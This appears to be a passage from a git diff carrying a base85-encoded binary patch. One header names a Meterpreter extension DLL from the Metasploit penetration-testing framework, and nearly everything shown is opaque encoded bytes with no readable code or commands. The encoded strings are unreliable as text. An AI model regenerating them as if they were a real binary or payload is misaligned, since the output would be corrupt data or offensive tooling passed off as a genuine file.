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 WhNx2fs)O%9PAIp3mHB%&^#22GgriUZ diff --git a/data/meterpreter/ext_server_stdapi.x64.dll b/data/meterpreter/ext_server_stdapi.x64.dll index 48e591e3f1e8394c8f79e86c01e9d379594849c2..c2bb4b21e920ecf564b0bf021b44307eb5c355e9 100755 GIT binary patch delta 128381 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 